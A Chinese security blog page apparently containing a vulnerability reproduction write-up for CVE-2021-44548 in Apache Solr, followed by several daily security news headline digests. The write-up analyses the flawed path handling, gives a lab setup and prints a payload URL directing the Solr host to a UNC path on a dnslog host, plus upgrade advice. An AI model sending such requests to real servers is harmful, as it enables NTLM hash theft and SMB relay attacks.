前言  由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。  如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者,望谅解。  一、漏洞原理  漏洞简述  Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。  2021年12月18日,Apache发布安全公告,Apache Solr中存在一个信息泄露漏洞(CVE-2021-44548),该漏洞影响了8.11.1之前的所有Apache Solr版本(仅影响Windows平台)。Apache Solr的DataImportHandler中存在一个不正确的输入验证漏洞,可利用Windows UNC路径从Solr主机调用网络上的另一台主机的SMB服务,或导致SMB攻击,从而造成: 敏感数据泄露,如系统用户哈希(NTLM/LM哈希); 在系统配置错误的情况下,SMB中继攻击可能导致用户在SMB共享中被冒充,或导致远程代码执行。  漏洞分析  根据抓包内容中请求URL参数,以及solrconfig.xml中可以看到  漏洞点出于DataImportHandler#handleRequestBody  如果传入的command=show-config并且传入config不为空则有一个openResource操作,且参数可控  看到solr-core-8.11.0.jar!\org\apache\solr\core\SolrResourceLoader.openResource this.getInstancePath()得到的路径为D:\Apache_Solr\solr-8.11.0\server\solr\core1  再执行resolve("conf")变成,D:\Apache_Solr\solr-8.11.0\server\solr\core1\conf  再执行resolve(resource)时,这里的WindowsPathType变成了UNC  resolve逻辑判断WindowsPathType是否为绝对路径或UNC路径,是则直接返回参数  resource以\\开头就能使inConfigDir完全可控,在Files.exists中就会去请求windows的unc路径  二、漏洞复现实战  影响版本  Apache Solr < 8.11.1 (仅Windows)  环境搭建  Solr漏洞环境下载地址:  https://archive.apache.org/dist/lucene/solr/8.11.0/solr-8.11.0.zip  1)打开命令行,进入bin目录下,运行solr.cmd start  2)再另一个命令行面板中执行solr.cmd create_core -c new_core  3)然后在solr-8.11.0\dist目录中添加三个jar包:  4)在solr-8.11.0\server\solr\core1\conf\solrconfig.xml中添加DataImportHandler路由  5)在C:\Users\Administrator\Downloads\solr-8.11.0\server\solr\core1\conf目录下新建data-config.xml文件,内容如下: <dataConfig>  <dataSource type="JdbcDataSource"              driver="com.mysql.jdbc.Driver"              convertType="true"              url="jdbc:mysql://IP:Port/test"              user="XXXX"              password="XXXX"/>  <document>    <entity name="entity" query="SELECT id, title, content, tags FROM test_table" >    </entity>  </document> </dataConfig>  6)重新启动solr  漏洞复现  进入Solr后台,选择core为我们新配置的core。  选择Dataimport,查看Configuration,可以看到我们新配置的data-config的详细信息  我们点击reload并抓包  查看包内容,可以看到请求如下:  URL参数添加参数,构造payload  payload:http://localhost:8983/solr/core1/dataimport?command=show-config&config=&\\xxx\xxx  我们添加&expandMacros=false&config=\hdlr07.dnslog.cn\aaa,发送请求:  在DNSLog上可以看到收到请求  漏洞修复  目前此漏洞已经修复,建议受影响用户升级到Apache Solr 8.11.1。  下载链接:  https://solr.apache.org/downloads.html  缓解措施:  确保只有受信任的客户端才能向Solr的DataImporthandler发出请求  结束语  本文主要介绍了CVE-2021-44548 Apache Solr 敏感信息泄露漏洞的原理分析及复现过程,漏洞主要利用DataImportHandler存在输入验证缺陷,最终利用SMB服务导致敏感信息泄露。
网络安全日报 2022年05月19日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、超过 380,000 台 Kubernetes API 暴露在互联网上 https://www.securityweek.com/over-380000-kubernetes-api-servers-exposed-internet-shadowserver 2、NVIDIA 修复了GPU驱动程序中的代码执行漏洞 https://www.securityweek.com/nvidia-patches-code-execution-vulnerabilities-graphics-driver 3、大规模攻击活动利用Tatsu Builder WordPress 插件漏洞 https://www.securityweek.com/large-scale-attack-targeting-tatsu-builder-wordpress-plugin 4、VMware 解决了多个产品中身份验证绕过漏洞 https://securityaffairs.co/wordpress/131429/security/vmware-critical-auth-bypass-issue.html 5、研究人员披露了"Wizard Spider"网络犯罪组织的运作流程 https://thehackernews.com/2022/05/researchers-expose-inner-working-of.html 6、微软警告针对加密钱包的“Cryware”信息窃取恶意软件 https://thehackernews.com/2022/05/microsoft-warns-of-cryware-info.html 7、新的 SYK Crypter 通过 Discord 传播 https://cyware.com/news/new-syk-crypter-propagates-via-discord-d5115d1e 8、2250 万马来西亚人的数据在暗网以 10,000 美元价格出售 https://www.straitstimes.com/asia/se-asia/data-of-225-million-malaysians-born-1940-2004-allegedly-being-sold-for-us10k 9、研究人员发现UpdateAgent macOS恶意软件新变种 https://www.jamf.com/blog/updateagent-adapts-again/ 10、Conti团伙声称将删除哥斯达黎加政府的解密密钥 https://thehackernews.com/2022/05/russian-conti-ransomware-gang-threatens.html
网络安全日报 2022年05月18日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、公安部公布五类高发电信网络诈骗类型,"刷单"占榜首 http://www.gov.cn/xinwen/2022-05/11/content_5689723.htm 2、Play Store 上的 200 多个应用正在分发 Facestealer信息窃取器 https://securityaffairs.co/wordpress/131370/malware/facestealer-info-stealer-play-store.html 3、卡巴斯基研究发现2022 年 HTML 附件在网络钓鱼攻击中仍然很流行 https://www.bleepingcomputer.com/news/security/html-attachments-remain-popular-among-phishing-actors-in-2022/ 4、委内瑞拉心脏病专家被指控经营和销售Thanos勒索软件 https://securityaffairs.co/wordpress/131382/cyber-crime/venezuelan-man-accused-thanos-ransomware.html 5、链家IT管理员删除公司9TB数据,被判7年有期徒刑 https://www.freebuf.com/news/333221.html 6、英国政府制定了《2022年民用核网络安全战略》 https://www.infosecurity-magazine.com/news/uk-sets-out-nuclear-cybersecurity/ 7、虚假移动应用窃取Facebook凭据和加密货币密钥 https://www.trendmicro.com/en_us/research/22/e/fake-mobile-apps-steal-facebook-credentials--crypto-related-keys.html 8、利用已修复的微软SharePoint漏洞可发起RCE攻击 https://portswigger.net/daily-swig/sharepoint-rce-bug-resurfaces-three-months-after-being-patched-by-microsoft 9、自定义PowerShell RAT以乌克兰信息为诱饵针对德国 https://blog.malwarebytes.com/threat-intelligence/2022/05/custom-powershell-rat-targets-germans-seeking-information-about-the-ukraine-crisis/ 10、NSA 表示美国新加密标准没有后门 https://www.solidot.org/story?sid=71525
网络安全日报 2022年05月17日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、研究人员发现新型BLE蓝牙中继攻击 https://www.securityweek.com/researchers-devise-new-type-bluetooth-le-relay-attacks 2、勒索软件团伙威胁要推翻哥斯达黎加政府 https://www.securityweek.com/ransomware-gang-threatens-overthrow-costa-rica-government 3、研究人员发现可以利用低功耗模式在关机的iPhone上运行恶意软件 https://www.securityweek.com/hackers-can-abuse-low-power-mode-run-malware-powered-iphones 4、Apple发布更新修复了自 2022 年初以来的第六个0day漏洞 https://securityaffairs.co/wordpress/131346/security/apple-sixth-zero-day-2022.html 5、Armageddon APT组织发起新的网络钓鱼攻击 https://securityaffairs.co/wordpress/131296/breaking-news/cert-ua-warns-armageddon-apt.html 6、虚假Pixelmon NFT网站分发密码窃取恶意软件 https://www.bleepingcomputer.com/news/security/fake-pixelmon-nft-site-infects-you-with-password-stealing-malware/ 7、欧洲宣布采用旨在加强网络安全的新NIS2指令 https://thehackernews.com/2022/05/europe-agrees-to-adopt-new-nis2.html 8、研究人员通过DLL劫持漏洞阻止REvil勒索软件 https://portswigger.net/daily-swig/researcher-stops-revil-ransomware-in-its-tracks-with-dll-hijacking-exploit 9、小伙浏览涉黄APP,5天被骗142万! https://www.anquanke.com/post/id/273098 10、BPFdoor:隐形 Linux 恶意软件绕过防火墙进行远程访问 https://www.bleepingcomputer.com/news/security/bpfdoor-stealthy-linux-malware-bypasses-firewalls-for-remote-access/
网络安全日报 2022年05月16日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Sysrv 僵尸网络新变种Sysrv-K利用Spring和WordPress漏洞 https://securityaffairs.co/wordpress/131290/cyber-crime/microsoft-sysrv-botnet-new-exploits.html 2、SonicWall 敦促客户修复 SMA 1000 产品中的高危漏洞 https://securityaffairs.co/wordpress/131247/security/sonicwall-urges-customers-to-fix-sma-1000-vulnerabilities.html 3、Zyxel 防火墙修复了一个严重RCE漏洞 https://securityaffairs.co/wordpress/131243/hacking/zyxel-critical-flaw.html 4、伊朗黑客利用 BitLocker 和 DiskCryptor 进行勒索软件攻击 https://thehackernews.com/2022/05/iranian-hackers-leveraging-bitlocker.html 5、西门子楼宇自动化控制器存在漏洞可被黑客攻击 https://www.securityweek.com/hackers-can-make-siemens-building-automation-controllers-unavailable-days 6、InHand Networks 工业路由器存在多个高危漏洞 https://www.securityweek.com/critical-vulnerabilities-provide-root-access-inhand-industrial-routers 7、研究人员披露为期数月的针对 14 家德国汽车制造商的恶意软件活动 https://cyware.com/news/malware-campaign-targets-at-least-14-german-automakers-db0e9ea1 8、RedLine Stealer新活动通过YouTube传播 https://www.netskope.com/blog/redline-stealer-campaign-using-binance-mystery-box-videos-to-spread-github-hosted-payload 9、Legion黑客组织对欧洲歌唱大赛官网发起攻击 https://securityaffairs.co/wordpress/131280/hacktivism/legion-collective-call-attack-eurovision.html 10、谷歌发布更新修复Chrome中的高严重性漏洞 https://www.securityweek.com/chrome-101-update-patches-high-severity-vulnerabilities
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页 第212页 第213页 第214页 第215页 第216页 第217页 第218页